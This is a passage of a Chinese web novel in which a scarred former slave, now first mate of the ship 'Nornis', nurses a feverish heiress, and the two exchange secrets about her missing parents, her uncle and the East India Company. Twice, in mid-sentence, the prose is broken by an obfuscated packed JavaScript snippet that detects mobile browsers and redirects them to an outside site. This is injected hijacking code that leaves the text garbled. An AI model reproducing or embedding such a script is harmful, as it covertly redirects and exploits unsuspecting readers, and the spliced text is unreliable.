“我还以为……她只是来找一些旧的航海日志或者拜访某些知情人,我没想到……” 船长的声音里带着一丝懊悔和后怕,“我没想到她会惹上这么危险的麻烦,更没想到会牵扯出东印度公司。” 船长走上前,拍了拍江熠的肩膀,力道很重:“贝利,我答应带她来,是出于旧情,但我不能拿我整条船和所有船员的安全去冒险。现在,告诉我你的判断,今天的冲突,是意外,还是我们已经被卷进去了?” 江熠沉默了片刻,回想起那些精准的子弹和穷追不舍的架势,以及那个刺青男和他背后明显有组织的行动。 “不是意外,”他声音低沉而肯定,“他们目标明确,就是要灭口。我们看到了不该看的东西,听到了不该听的名字。而且,” 他顿了顿,补充道,“我怀疑我们被盯上,可能从上岸就开始了。” 威廉船长闭了闭眼,深吸一口气,再睁开时,眼里已经做出了决断:“既然如此,这里不能再停留了。我们必须立刻离开岩爪湾。” 他看向江熠,眼神意味深沉:“至于于西蒙那孩子……她显然瞒着我很多事情,她找到的‘线索’恐怕远比她告诉我的要致命。她不肯对我这个老头子全盘托出,或许有她的理由和顾虑。” “但是贝利,你不一样。你们一起经历了生死,她或许……会更愿意对你开口。弄清楚她到底知道什么,手里有什么,那些人在找什么。这不仅关系到她的安全,也关系到我们整条船能否平安返航。” “保护好她,”船长的声音不容置疑,“这不仅是因为她是我老朋友的女儿,也是因为,从现在起,她的麻烦就是‘诺尔尼斯号’的麻烦了。我们必须知道面对的究竟是什么。” 江熠站在原地,消化着船长的话。 亚当斯夫妇、东印度公司、失踪、灭口……所有这些词都与他内心深处那段黑暗的奴隶记忆产生了强烈的共鸣。 他没有再多问,只是对船长重重地点了一下头:“我明白了。” 他转身大步离开了船长室。 他现在需要去确认于霜的状况,然后,必须从她那里得到答案—— 那些用怀表换来的、以及用差点付出生命代价换来的答案。 门在他身后关上。 威廉船长独自站在房间里,面色无比凝重。 他拿起烟斗,却没有点燃,只是喃喃自语:“罗伊,奥德丽……你们到底发现了什么?你们的孩子……正走在一条无比危险的路上啊……” - 此时,下层船员舱房区,于霜被特别安排在她自己的单间内。 船医汉森刚刚收拾好他的医疗箱,对着站在门边的江熠摇了摇头,眉毛拧在一起:“烧得不轻,惊吓过度,加上疲劳和寒气入体。给她用了退烧的草药,汗发出来就好了。但今晚得有人看着点,万一再烧起来或者梦魇惊厥。” 他顿了顿,补充道,“这姑娘,身子骨还是太娇弱了,经不起这么折腾。” 江熠点了点头,声音低沉:“辛苦了,汉森医生。” 船医摆摆手,提着箱子轻轻地离开了。 江熠这才迈步走进舱房。 空气中弥漫着淡淡的草药味和一丝于霜身上残留的、与这粗糙环境格格不入的极淡清香。 他的目光习惯性地快速扫过这个小小的空间。 尽管条件简陋,但这位大小姐显然还是尽力维持着她的体面。 床铺换上了自带的、看起来就柔软舒适的亚麻床单和薄毯,虽然此刻被她无意识地蹭得有些凌乱。 角落里一个小巧的梳妆台上摆放着精致的象牙梳子和几个小巧的琉璃瓶罐。 最显眼的是那个敞开的衣柜,里面居然挂满了各式各样的衣裙。 丝绸、蕾丝、细棉……色彩缤纷,与舱内灰暗的木质结构形成了鲜明对比,简直像把一个小小的沙龙衣柜塞进了这艘货船的肚子里。 江熠的嘴角不由自主地勾起一丝几乎难以察觉的弧度,带着点嘲弄,又有点难以言喻的意味。 真是……无论到哪儿都改不了的大小姐做派。 都这种时候了,这些华而不实的东西倒是一件没丢。 他的目光最终落回到床上。 于霜躺在那里,脸颊因为高烧泛着不正常的红晕,嘴唇却有些干裂。 浓密的睫毛不安地颤动着,额头上沁出细密的汗珠,打湿了鬓角的发丝。 她深陷在梦魇之中,头不安地在枕头上转动,发出破碎而痛苦的呓语。 “不……不要……父亲……母亲……” 她的声音带着哭腔,充满了恐惧和无助,“……快跑……别过来…………” 她的手猛地抓紧了身下的薄毯,手指用力,仿佛正在梦中拼命逃离着什么。 江熠皱紧了眉头,拉过房间里唯一的一把木头椅子,放在床边,坐了下来。 椅脚和地板摩擦发出轻微的声响。 他似乎只是想在这里守着一会儿,确保她不会真的出事,好对船长有个交代。 至于秘密什么的…… 也只能等这位娇小姐病好了再问。 然而,于霜的梦魇似乎变得更加剧烈。 她猛地抽搐了一下,仿佛梦中遭到了攻击,呼吸变得急促而恐惧,胡乱地摇着头:“……抓住他了!不……贝利,小心!” 听到自己的名字从她烧得糊涂的嘴里喊出来,江熠的身体几不可查地僵了一下。 就在这时,于霜的手突然从毯子里伸出,在空中慌乱地抓了几下,然后一把抓住了江熠放在膝盖上的手。 她的手心滚烫,因为出汗而湿漉漉的,力道却出乎意料的大,死死地攥着他的手指,仿佛溺水之人抓住了唯一的浮木。 江熠几乎是本能地就想抽回手——他不习惯与人,尤其是女人有如此亲密的接触。 但于霜接下来的呓语让他抽手的动作顿住了。 “……别走……求求你……别丢下我一个人……害怕……” 她的声音变得微弱而哀恳,带着浓浓的鼻音,像一只受伤的小兽。 江熠低头看着两人交握的手。 她的手很小,很软,即使在高烧中,也能感觉到那不同于常年干粗活的人的细腻肌肤。 此刻却因为用力而微微颤抖着。 他皱紧的眉头没有松开,但原本想要抽离的手却缓缓放松了下来,任由她紧紧地抓着。 他沉默地坐在那里,身体有 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江熠猛地惊醒,脖子和后背因为趴在床沿睡了一夜而传来一阵酸痛。 他下意识地动了动手指,立刻感受到那份被紧紧攥住了一夜的、已然有些麻木的触感。 于霜的手依旧抓着他的手,力道比昨夜松懈了些,但她依旧没有松开。 她的呼吸听起来平稳了许多,虽然还有些重,但不再像昨夜那样急促痛苦。 于霜额前的碎发被汗水濡湿,黏在光洁的额头上。 江熠几乎是习惯性地,用另一只自由的手,轻轻地、试探性地探向于霜的额头。 入手是一片温润的潮意,但那股烫人的高热已经退去了不少。 他松了口气,紧绷的下颌线微微放松,这才感到一阵强烈的疲惫袭来。 他捏了捏眉心,试图驱散那份僵硬感。 然后,他低下头,看着两人依旧交握的手。 她的手指纤细,指甲修剪得圆润干净,此刻放松地搭在他的指节上,与他自己粗糙、带着薄茧和旧伤的手形成鲜明对比。 一种极其陌生的、微妙的感觉在他心底一闪而过。 他动作极其轻柔地,一点一点地,试图将自己的手从她的掌心里抽出来。 于霜在睡梦中无意识地嘤咛了一声,手指蜷缩了一下,似乎想抓住那份安全感,但最终还是没有醒来。 江熠终于成功地将手抽了出来。 他站起身,活动了一下发麻的四肢,又低头看了于霜一眼,确认她依旧睡得安稳,这才轻轻转身。 他正打算出门去找船医,舱门外就传来了轻微的脚步声和低语声。 “汉森叔,您快去看看,珀金斯小姐肯定需要您再看看,她身体应该没什么事吧?” 是吉勒焦急的声音。 “知道了知道了,你小子已经嚷嚷一个早上了……” 江熠直接拉开舱门。 汉森提着药箱倚靠在门上,身后跟着探头探脑,满脸忧愁的吉勒。 “她退了烧,但出了很多汗。”江熠言简意赅地对船医道,侧身让他进来。 汉森点点头,大步走上前细细检查了一番。 “嗯,热度退了是好事,汗发出来就好了。但这身湿衣服得换掉,不然寒气再进去,更容易复烧。” 汉森眉头一皱,看了一眼于霜身上那件被汗水浸湿的粗布衬衫,又看了眼舱内的情况,显然也意识到了一个难题。 船上都是大老爷们,谁能帮这位小姐换衣服? 16. 不甘示弱 吉勒立刻自告奋勇,脸都急红了。 “我,我可以帮忙!我保证不会乱看的……我发誓!我闭上眼睛,或者,你们找块布给我蒙上!” 他结结巴巴的,像是下定了什么决心,想法简单又急切。 “胡闹!”汉森斥责了一句,语气里尽是无奈。 他推了推鼻上的金丝眼镜,目光从昏迷不醒的于霜转向了在一旁沉默不语的江熠。 “咳,副船长。” 汉森语气变得严肃,收起了平时的吊儿郎当,“船上没有女人,但又总不能一直让西蒙小姐穿着湿衣服,你……” 他顿了顿,似乎在斟酌用词。 “……你去找一套最小的,干净柔软的里衣过来,再打盆温水,拿块干净的软布。” 江熠身体僵了一瞬,然后冲船医一挑眉,一副“你没事吧你居然让我来做”的表情。 汉森迎着他的目光,表情坦率:“吉勒干事毛毛躁躁没个轻重,其他水手也不合适。而我……咳,你们知道的,我有未婚妻了。” “虽然说医者父母心,但为一位年轻小姐更换衣服擦拭身体……这种事,我实在不方便亲自动手。” “而且,”他一缓,眼神里闪过一丝“就你了最安全”的意味,补充道,“而且你平时……大家都知道你对女人没那种意思,从来不会多看一眼,让你做这个,反而……最不会引起误会,对西蒙小姐的名声也好。” 吉勒在一旁猛点头,虽然他没有完全听懂船医话里的深层意思,但还是觉得很有道理。 “对啊副船长,你从来不和港口的姑娘们说话的,感觉你每次对她们都特别冷漠,你来最合适了。” 江熠:“……” 合适你大爷。 他的脸色瞬间变得极其古怪,下颌线绷得死紧。 他本想反驳,却发现汉森医生和吉勒的眼神都无比真诚,甚至让他读出了“这是非你莫属的重任你就答应了吧”的含义。 所以他平时对异性表现出的尤为冷淡和疏离,此刻竟然成了他被推出来做这种极度亲密的事的理由了吗? 这简直是他遇到过的最荒唐的局面。 他看了一眼床上汗湿了鬓发显得有些脆弱的于霜,又看了看眼前两个等他点头答应,“英勇就义”的家伙,有些无奈地抓了抓头发。 “……等着。”他从牙缝中挤出两个字,脸色黑沉地转身大步离开,去取需要的物品。 等他端着一盆温水和一套自己最小号的干净里衣回来时,汉森医生已经默契地在温水里加了些驱寒安神的草药精油进去。 “有劳了。”汉森语气郑重地把毛巾递给他,“动作快些,避免着凉,我们就在外面等着。” 说完,便拉着还在絮絮叨叨想问要不要帮忙拿东西的吉勒退了出去,轻轻带上了舱门。 船舱内顿时只剩下江熠和昏睡中的于霜。 空气仿佛瞬间变得凝滞而微妙。 江熠站在床边,看着于霜汗湿而苍白的脸,深吸了一口气,仿佛要执行一项比那晚冲突更艰巨的任务。 他努力摒除脑子里所有不必要的念头,告诉自己这只是一个必要的医疗过程。 他动作有些僵硬地拧干软布,试了下水温。 他先小心翼翼地,极快地帮于霜擦了擦额头和脖颈上的汗珠。 他指尖偶尔不可避免地触碰到她细腻却微凉的皮肤,让他的动作顿了几顿。 擦完之后,他就要必须解决最棘手的问题——换掉那件湿透的粗布上衣。 当他的手指落在那些粗糙的纽扣上时,江熠几乎能听到自己如擂鼓般的心跳声。 他强迫自己移开视线,只专注于手上的动作,凭借触感笨拙地解开纽扣。 过程中,他的手指颤抖得厉害,甚至不小心扯了一下,引来于霜一声无意识的嘤咛,吓得他立刻停住动作,屏住呼吸,直到确认她没有醒来,才继续。 当湿衣服终于被脱下,他飞快地用那块蘸了温草药水的软布,尽可能快速地、避开敏感部位地擦拭了一下她的后背和手臂,动作甚至带着点战场急救般的粗率,但力度却下意识地放得很轻。 然后,他拿起那件属于他的干净里衣。衣服对她来说显然过于宽大。 他小心翼翼地将她的手臂套进袖子,尽量避免过多的接触,再轻轻扶起她的上半身,将衣服从后面拉过来,快速系好衣带。 做完这一切,江熠几乎也出了一身薄汗,像是刚进行了一场极其耗费心神的战斗。 他迅速拉过干燥的薄毯为她盖好,这才长长地、无声地吐出一口气。 看着于霜穿着他的宽大里衣,领口松松垮垮,更显得她脖颈纤细脆弱,安静睡去的模样,江熠的眼神变得异常复杂。 他快速收拾好湿衣服和水盆,黑着脸,猛得打开舱门。 汉森和吉勒还等在外面。 “换好了。”江熠的声音比平时更加冷硬,几乎能掉下冰渣子。 汉森医生进去快速检查了一下,满意地点点头:“很好,这样就没问题了。让她好好休息。” 他拿起药箱,仿佛没看到江熠难看的脸色,十分自然地说:“我去准备汤药。” 吉勒也探头看了一眼,见于霜似乎睡得更安稳了,长舒一口气,又用充满敬佩和感激的眼神看向江熠:“副船长,你真是太可靠了!” 在他简单的思维里,能为他崇拜的珀金斯小姐做这种事还不趁机占便宜的副船长,简直是圣人。 江熠:“……” 他一句话都不想再说,浑身散发着“生人勿近”的低气压,把水盆塞给吉勒,拿着湿衣服径直走向清洗处。 “呃……坏了,”汉森有些尴尬得摸摸鼻子,“我们好像要被他针对了……吉勒——” “啊?” “去给西蒙小姐调一杯蜂蜜水,半杯就好。” “好嘞汉森叔,保证完成任务。”吉勒冲他挤挤眉,端着水盆蹦蹦跳跳地出去了。 - 于霜是在一阵温和的摇晃中醒来的。 她睁开沉重的眼皮,模糊的视线逐渐聚焦,首先映入眼帘的是粗糙的木制舱顶,以及从舷窗透进来的、已是午后时分的柔和光线。 记忆如潮水般涌回脑海——黑市、追杀、枪声、高热、噩梦…… 她下意识地抬了一下手,浑身依旧酸软无力,但那种令人恐惧的燥热和冰冷已经消失了。 “醒了?” 一个低沉而略显沙哑的声音在旁边响起。 于霜转过头,看到江熠正坐在床边的椅子上,手里端着一只冒着热气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233871|181538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的陶碗。 他看起来有些疲惫,下颌冒出了青色的胡茬,但眼神依旧是那种熟悉的、带着点不耐烦的锐利。 于霜挣扎着想坐起来,却浑身无力。 江熠瞥见,眉头微蹙,似乎犹豫了一瞬,最终还是放下碗上前,随手拿了两个枕头垫在她身后,帮她靠坐起来。 他的手指偶尔碰到她的肩膀,两人都迅速避开。 “……水……”于霜的声音干涩得厉害。 江熠没说什么,倒了一杯温水递到她嘴边。 动作算不上多么温柔,甚至有些笨拙,但好歹是稳稳地扶着她,让她小口小口地喝了下去。 温水滋润了喉咙,于霜感觉舒服多了,大小姐的脾气和自觉也稍微回来了一些。 她微微蹙眉,打量了一下自己身上过分宽大的男性里衣,领口松垮,露出小片锁骨,这让她有些不自在。 “这衣服……是你的?”她的声音带着刚醒的娇气,却努力想维持一点气势。 “粗糙死了,硌得我皮肤一点儿都不舒服。” 江熠看着她明明虚弱却还要强撑起贵族架子的模样,嘴角几不可查地动了一下,像是想笑又不得不忍住。 他把水杯放回桌上,重新端起了那碗看起来就不怎么美味的清粥,舀起一勺,没什么耐心地递到她嘴边。 “吃。” 于霜看着那寡淡的粥,嫌弃地撇开脸:“我不吃这个。我要喝奶油蘑菇汤,或者至少加点蜂蜜……” 江熠举着勺子的手没动,看着她,忽然没什么情绪地开口:“亚当斯夫妇的女儿,对救命恩人的口味也这么挑剔吗?” 于霜倏然转过头,难以置信地瞪大了眼睛看着江熠。 “你……”她下意识地想否认,但看到江熠那双仿佛能看透一切的眼睛,她知道隐瞒已是徒劳。 威廉船长告诉他了?还是他查到了什么? 巨大的秘密骤然被揭穿,让她瞬间慌了神。 但长期以来的自我保护本能让她迅速强自镇定下来,甚至试图夺回主动权。 她苍白的脸上挤出一丝近乎挑衅的表情,尽管此时她看起来虚弱无力。 “是又怎么样?” 她抬高了下巴,即使躺在床上也努力摆出高傲的姿态,“看来贝利先生知道的不少。不过,你用我父母的秘密来换我的秘密,这交易是不是太不公平了?” 她的目光紧紧盯着他,带着一种破釜沉舟的试探。 “你想知道我的事?可以。但公平起见,你是不是也该用你的秘密来交换?比如……你真正的名字?我知道你不是普通的码头混混,你来自东方,对不对?‘贝利’可不是个东方名字。” 她本以为会看到他的回避或恼怒,甚至已经做好了被他冷言拒绝的准备。 然而,江熠只是沉默地看着她,那双深邃的眼睛里情绪难辨。 舱内陷入了短暂的寂静,只有船体轻微的摇晃声。 就在于霜以为他不会回答,准备再说点什么的时候,他却忽然开口了,声音低沉而平静,仿佛在说一件与自己无关的事。 “好。” 于霜愣住了。 “江熠。” 他清晰地吐出两个字,“长江的江,熠熠生辉的熠。这是我的中文名字。” 17. 秘密共享 于霜的心脏莫名一跳。 没想到他如此轻易就说了出来。 但接下来的话,更是让她彻底怔住,忘记了呼吸。 “我没有秘密,但我可以告诉你,我登上诺尔尼斯号船之前的事。” “小时候,家里是跑船运的,在内河上。” 他开始说,目光没有聚焦在于霜脸上,而是落在舷窗外那片无尽的海平面上,像是在回忆一段与自己无关的往事。 “后来河道改了道,生意没了,家里也垮了。十五岁那年,听说南洋那边有机会,就跟着同乡的人,凑钱上了条看起来就不太牢靠的货船。” 他的语气很平淡,甚至听不出什么情绪。 “船开了没多久,就遇上了海盗。但其实也不是什么真正的海盗,就是挂着骷髅旗的东印度公司的武装商船。他们跳上船,把我们都捆了。值钱的货和凑出来的路费被抢走,人也被像货物一样塞进了底舱。” “那底舱,黑得看不见手指,空气是臭的,镣铐很沉,磨得手腕脚踝破了皮,结痂又破开。每天只有一点点发馊的水和硬得像石头的饼干。不断有人生病,发烧,说胡话,然后……就再也没醒过来。尸体直接被从舷窗扔出去,连个声响都听不见。” 他说的很慢,用词简单,没有刻意描绘痛苦,只是陈述着事实,反而更让人感到一种深入骨髓的寒意。 “也不知道在海上漂了多久,最后到了一个热得要命的地方。很大的种植园,种着橡胶和香料。日子就是不停地干活,从天亮到天黑。监工的鞭子……不怎么讲道理。” 他抬手,下意识地碰了碰锁骨下方一个几乎看不清的旧痕,动作很轻。 “待了差不多两年吧。后来……有一次运送收获的香料去港口仓库,路上遇到了暴雨,混乱中,我就躲进了一个空酒桶里,又被阴差阳错地装上了一艘要离港的英国商船……才算逃了出来。” 他顿了顿,终于将目光从窗外收回,落在于霜脸上,眼神平静得近乎空旷。 “之后很多年,就在各个码头流浪,打零工,什么都干。为了活下来,也为了不被人找到,改过名字,换过地方,像条狗一样四处挣扎求生。直到后来遇到威廉船长,才算有了个相对安稳的落脚处。” 于霜被这些彻底惊呆了,嘴巴微微张着,忘记了刚才所有的娇纵和算计,只是呆呆地看着他。 她无法想象那样黑暗的过去。 他自嘲地扯了一下嘴角,“东印度公司……是我最恨的东西。看见他们的标志,我就想吐,想把那些人都撕碎。” 他说完了,舱内一片死寂。 他将他最不堪、最痛苦的伤疤,毫无保留地撕开,血淋淋地暴露在了她的面前。 就像一头浑身尖刺、对世界充满戒备的恶犬,第一次主动在信任的人面前,翻转身躯,露出了最柔软、也是最脆弱的腹部。 他看着她,眼神里没有了平时的嘲讽,只剩下一种近乎坦诚的平静:“现在,你知道了我的名字,和我的背景。” “我能跟你交换秘密了吗?” 于霜的心脏像是被一只无形的手紧紧攥住,又酸又涩。 她所有伪装的盔甲在这一刻粉碎殆尽。 她看着江熠,看着他那双漆黑的眼睛,仿佛能看到那背后深不见底的黑暗深渊。 她以为自己追寻父母下落的道路已经足够艰难晦暗,却没想到眼前这个人,早已在比她所能想象的更残酷的地狱里走过一遭。 他不是在博取同情,甚至不是在倾诉。 他只是在陈述一个事实,一个将他塑造成如今模样的、冰冷而坚硬的过去。 这种毫无修饰的坦诚,比任何控诉都更有力量。 舱内寂静无声,只剩下她有些紊乱的呼吸和海浪拍击的哗啦声。 于霜用力地吞咽了一下,喉咙有些干涩发紧。 评估。 一个清晰的声音在她脑海响起。 评估现状,评估他,评估你自己。 他展示了最大的诚意和弱点。 这不仅仅是为了交换秘密,更是一种无声的宣告—— 我们可以是同一类人,我们可以拥有共同的敌人。 他提供了信任,现在,轮到她拿出同等的、甚至更有价值的东西来巩固这个刚刚萌芽的、危险的同盟。 她不再是一个孤身奋战、试图撬动庞然大物的贵族小姐。 她面前出现了一个了解黑暗规则、仇恨同源、并且实力强大的潜在伙伴。 伙伴。 这个词让她冰冷的心脏重新注入一丝滚烫的血液。 于霜深吸了一口气,再缓缓吐出。 当她再次抬起头时,眼神毫不客气地回看江熠的眼睛 “好。”她的声音有些沙哑,却异常坚定,带着一种决绝的意味。 “你给了我你的过去。那么,我告诉你我的现在,和……我们可能的未来。” 她不再犹豫,语速平稳而清晰,像在下一盘至关重要的棋,落子无悔。 “我怀疑我的父母没有死。他们的死亡绝非意外。”她开门见山,目光灼灼地盯着江熠,“现在我最大的怀疑对象——我的叔叔,佩德克·珀金斯,他脱不了干系。” “最后的一次航行,是我父母和他一起出海,到最后……能活着回来的,却只有他和几个心腹随从。” “是他亲口告诉我,滔天的巨浪吞噬了‘亚当斯号’,我父母……未能幸免。” “知道消息后的那几个星期,我过得浑浑噩噩,悲痛淹没了所有理智。但现在回想起来,他的很多举动……都透着一股不正常的急切。他太快地处理了所有事务,太快地安抚了家族其他人,几乎快要接管我父母的一切,也太快地将我父母的遗物封存起来,甚至……不太愿意让我过多触碰,美其名曰怕我触景生情。” 于霜坐直了身子,头靠在靠背枕上。 “葬礼那天,我回房之后,看到了真正让我开始怀疑的东西——信鸽。它们撞在玻璃窗上,腿上绑着一个小小的铜环,里面是……是两张带着我母亲标识的空白牛皮纸。” 信任需要建立,但底牌不能一次性亮尽,她刻意隐去了第三张牛皮纸的存在。 这样既展示了诚意和共享了重要情报,又为自己保留了最后的底牌和谈判空间。 她迎上江熠深邃的目光,说出了自己登上“诺尔尼斯号”的原因。 “这些都太奇怪了,我需要弄清楚。也是从那一刻起,我再也无法相信我叔叔,所以趁他离家办事,我偷跑了出来,打听到你们的诺尔尼斯号会经过我父母航行的航道上……这是我唯一能抓住的机会,所以我来了。” 于霜紧紧盯着江熠,观察着他的反应,等待着他的判断。 “那黑市呢?”江熠问。 “还记得那个刺青男吗?他手臂上的刺青,我在佩德克叔叔的房间里见到过。我当时以为那只是什么他不愿示人的私人纹章,没太在意……但现在看来,那根本就是他和他那些见不得光的手下互相辨认的标记。” “黑市摊上你买的怀表……是我母亲的,当时偷听刺青男和别人的对话的时候,我还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241914|181538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听见了‘亚当斯号’,绝对没错——” 江熠沉默地听着,脸上依旧没什么表情,但那双墨黑的眸子里却锐光闪动。 他迅速地将这些信息整合:行为异常的叔叔、神秘的信鸽、空白的牛皮纸、以及连接叔叔与黑市杀手的刺青标记。 一幅阴谋的轮廓已经足够清晰。 “相同的刺青……” 他缓缓重复了一遍,声音低沉,“这就不是巧合了。” 这几乎坐实了于霜的叔叔与这次追杀脱不了干系,甚至可能与东印度公司有牵连。 他看着她,眼神里多了几分审视,但也有一丝不易察觉的认可—— 认可她的观察力和谨慎。 “两张空白的牛皮纸……需要特定方法才能显现内容?” 他捕捉到了这个关键点。 于霜点了点头,没有透露更多关于牛皮纸的信息:“这是我需要查明的关键之一。” 江熠沉默了片刻,然后站起身:“我明白了。” 他没有追问更多关于牛皮纸或者她父母具体下落的细节,似乎接受了目前信息交换的程度。 “现在,你需要休息。” 他的语气恢复了平时的干脆利落,“无论你想查什么,都需要一个好身体。我们的‘麻烦’,显然才刚刚开始。” “我知道。”她冷静地回答,“我不会耽误正事。” 江熠没再说什么,转身走向舱门,手已经搭上了门把。 “等等。”于霜的声音忽然从身后传来。 江熠动作顿住,侧过半张脸,投来询问的一瞥。 于霜看着他高大而略显冷硬的背影,深吸了一口气,仿佛下了另一个小小的决心。 她已经分享了秘密,交付了部分信任,但似乎还缺了点什么。 缺了一个更私人的、更能代表“真实她”的符号。 “我再告诉你一件事,”她的声音轻了些,却带着一种郑重的意味,“我的名字……不只有西蒙.珀金斯。” 江熠完全转过身,安静地看着她,等待着。 “我父亲来自东方,”于霜的目光微微飘远,带上了一丝罕见的、属于回忆的柔和,“她给我起了一个中文名字……叫于霜。” 她顿了顿,似乎在品味这两个字的含义,然后清晰地解释道:“于,是‘于是’的于。霜,是……‘霜雪’的霜。” 她说出这个名字时,语气里有种不同于提及“西蒙小姐”时的感觉,少了几分贵族头衔的疏离感,反而多了几分根脉般的真切。 江熠的眼神不自然地看了她几眼。 他显然听懂了这两个字,也明白在这个时刻,她将这个名字单独告知他的意义—— 这不再仅仅是合作者之间的情报交换,这是一种更个人的、带有某种文化亲近感的交付。 他沉默地看了她两秒,似乎在确认这个名字的重量,然后,极其轻微地点了一下头。 “于霜。” 他重复了一遍,他的中文发音意外地标准,低沉的声音吐出这两个字时,带着一种奇异的、近乎郑重的质感。 没有多余的评价,没有疑问,只是简单地复述,表示他听到了,也记住了。 然后,他不再停留,拉开舱门,高大的身影消失在门后。 只留下一句“好好休息”。 门轻轻合上,隔绝了外界的光线。 于霜独自躺在舱房里,耳边似乎还回响着他用中文念出她名字时的低沉嗓音。 第一次发现,江熠这个人,还挺有意思的。 18. 夜色缱绻 在于霜养病的几天里,“诺尔尼斯号”仿佛注入了一股不同以往的生气。 尽管航向未变,目的地依旧笼罩在迷雾和危险之中,但船上的氛围却悄然发生着变化。 于霜的舱房时不时会有“访客”。 少年水手吉勒几乎是每天报道三次,每次都能找出各种理由—— 送来一朵用废木头削成的、歪歪扭扭的小花,分享一块他省下来的、可能有点受潮的甜饼干,或者只是红着脸确认她是否需要喝水。 船医汉森会按时送来汤药,并严谨地记录她的恢复情况。 甚至连大副雷恩也粗声粗气地过来一趟,放下一小瓶据说能“驱散病气”的烈朗姆酒。 尽管这被于霜礼貌而坚定地拒绝了。 她的身体在汤药的调理下,一天天渐渐好转,苍白的脸颊恢复了血色,那双总是带着几分倔强和聪慧的眼睛,也重新变得明亮起来。 这日下午,阳光正好,透过舷窗在她舱房的地板上投下温暖的光影。 她正靠在床头,尝试阅读一本从船长那里借来的、纸张泛黄卷边的旧航海日志,门外就传来了小心翼翼的敲门声。 “请进。”于霜抬起头。 门被推开一条缝,吉勒先是探进一个毛茸茸的脑袋,脸上带着腼腆又兴奋的笑容。 随即,他侧身挤了进来,怀里还抱着一个正在轻轻扭动、发出细微“咕噜”声的毛团。 “西蒙小姐,你快看这个!”吉勒献宝似的把怀里的毛团往前送了送。 那是一只看起来约莫三四个月大的三花小猫,毛色偏光,眼睛像两颗圆溜溜的玻璃珠子,正好奇又略带警惕地打量着于霜。 于霜的眼睛瞬间亮了起来,脸上不由自主地露出惊喜的笑容:“天呐,好可爱的小猫,吉勒,你从哪里弄来的?” 她放下书,伸出手指轻轻挠了挠小猫的下巴。 小猫舒服地眯起眼,喉咙里的咕噜声更响了。 吉勒见她喜欢,自己也莫名高兴起来,拉开木凳坐了过来,将小猫放在腿上,手脚并用地比划道:“就是我们在‘岩爪湾’停留的那一天,这个小猫不知怎么的,自己从码头上溜达到我们船边,我看它瘦瘦巴巴的,很可怜的样子,就……就偷偷从厨房拿了点剩鱼剩肉给它喂了,又陪它玩了一会儿。” 他眼睛眨巴几下,语气欣喜:“结果,它居然偷偷溜进了船舱里,等我们发现它的时候,船已经开了……” “船长说,这段时间先养着它,等到了下一个渡口,再把它放到陆地上去。”吉勒有些不好意思地挠挠头,“西蒙小姐,它很乖的,平时就呆在我房间里,偶尔……偶尔会去厨房偷东西吃。” 于霜逗弄着小猫,脸上浮现出几分笑意:“看来是它选择的我们啊,它也是小冒险家。” “那,西蒙小姐,咱们给它取个名字怎么样?”吉勒抠抠手指,有些紧张又有些激动地问道。 “不如……就叫它lucky?希望它能给我们都带来好运吧。”于霜弯弯眼。 小猫像是听懂了似的,抬头“喵喵”叫了几声,还伸出舌头舔了舔于霜的手指。 “lucky,就叫lucky,好名字!”吉勒兴奋地重复道,“咳咳,那我以吉勒水手的名义宣布——小猫lucky,就正式成为我们诺尔尼斯号船上的编外成员啦。” 于霜轻轻应声。 “好。” - 过了几日,于霜的身体逐渐好转,开始能在甲板上短时间活动。 她裹着厚厚的披风,坐在避风的角落,看着夕阳缓缓沉入海平面,将天边染成绚丽的橙红色。 吉勒抱着关于星象的记录簿,愁眉苦脸地凑了过来,在她旁边的甲板上坐下。 “西蒙小姐……”他小声嘟囔着,把记录簿摊开,“这星星看得我头都晕了,汉斯先生说我这图画得跟喝醉了的螃蟹爬的一样……” 于霜闻言轻笑出声,接过那本粗糙的记录簿,就着傍晚渐暗的光线看了看。 上面用炭笔画着歪歪扭扭的线条和点,确实有些混乱。 “没那么糟,吉勒,”她温和地说,语气里没有一丝不耐烦,“看,你至少把最亮的几颗都找出来了。” 她用指尖点了点纸面上的几个黑点。 然后,她拿起旁边的炭笔,声音放得更轻柔了些,像在分享一个小秘密:“你看那边,天顶上那儿,像不像一个歪歪扭扭的‘W’?或者有人说它像一顶皇冠……对,就是那几颗连在一起的。” 吉姆顺着她指的方向和纸上的标记,努力地眯眼看去。 “那是仙后座,” 于霜继续解释道,炭笔在纸上流畅地勾勒出简单的连线,让那几个点瞬间有了意义。 “它可是北方星空里最好认的路标之一。你看到‘W’中间那颗比较亮的了吗?从它出发,大概……嗯……大概这么长的距离,” 她用手指在纸上比划了一段虚设的距离,“就能找到北极星了,它几乎不动,永远指着正北,是所有水手最忠实的朋友。” 她一边说,一边在记录簿的角落快速画了一个更清晰简洁的示意图:“喏,就像这样。记住这个‘W’的形状,下次就不会认错了。你试试看?” 吉勒的眼睛跟着她的笔尖和话语,渐渐亮了起来,之前的困惑被新奇和一点点的成就感取代。 “哇……原来是这样,西蒙小姐,您可懂得真多!” 他兴奋地拿起炭笔,模仿着于霜的示意图,在自己那歪歪扭扭的星图旁重新标注起来。 “当然啦,”于霜语气难得放松,她有些得意地说,“我们贵族小姐什么都会。” 夜渐渐深了,甲板上的人声渐渐稀疏,值夜的水手开始就位。 吉勒也抱着他那本终于有了些模样的星象记录簿,心满意足地被大副雷恩吼回去做杂务了。 于霜拢了拢披风,海风带着凉意,却让她觉得清醒而舒适。 